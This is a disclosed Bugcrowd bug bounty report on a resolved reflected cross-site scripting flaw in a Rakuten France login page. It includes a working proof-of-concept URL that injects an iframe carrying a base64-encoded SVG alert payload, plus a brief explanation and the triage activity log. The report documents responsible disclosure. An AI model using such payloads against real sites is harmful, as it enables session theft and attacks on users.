Reflected XSS via HTML Injection - 2

Disclosed by
Poc-as's avatar
Poc-as
  • Engagement Undisclosed
  • Disclosed date over 2 years ago
  • Priority P3 Bugcrowd's VRT priority rating
  • Status Resolved This vulnerability has been accepted and fixed
Summary by Poc-as

Summary

I found a cross site scripting on https://fr.shopping.rakuten.com/connect

POC

url : https://fr.shopping.rakuten.com/connect?clubsubscription="><iframe%20src="data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMSk%2b"></iframe>

Explanation

When I connect to the above URL, the value of the url parameter is inserted into the DOM without escaping, resulting in HTML Injection. So I can use this to be trigger XSS because HTML Injection happens. Thanks

Activity
  1. Akitsugu_Ito’s avatar
    Akitsugu_Ito Customer published the disclosure report

    ()

  2. Akitsugu_Ito’s avatar
    Akitsugu_Ito Customer changed the state to Resolved

    ()

  3. Poc-as’s avatar
    Poc-as sent a message

    ()

  4. Poc-as’s avatar
    Poc-as requested disclosure

    ()

  5. Akitsugu_Ito’s avatar
    Akitsugu_Ito Customer changed the state to Unresolved

    ()

  6. Tal_Bugcrowd’s avatarbugcrowd logo
    Tal_Bugcrowd changed the state to Triaged

    ()

  7. Tal_Bugcrowd’s avatarbugcrowd logo
    Tal_Bugcrowd sent a message

    ()

  8. Poc-as’s avatar
    Poc-as created the submission

    ()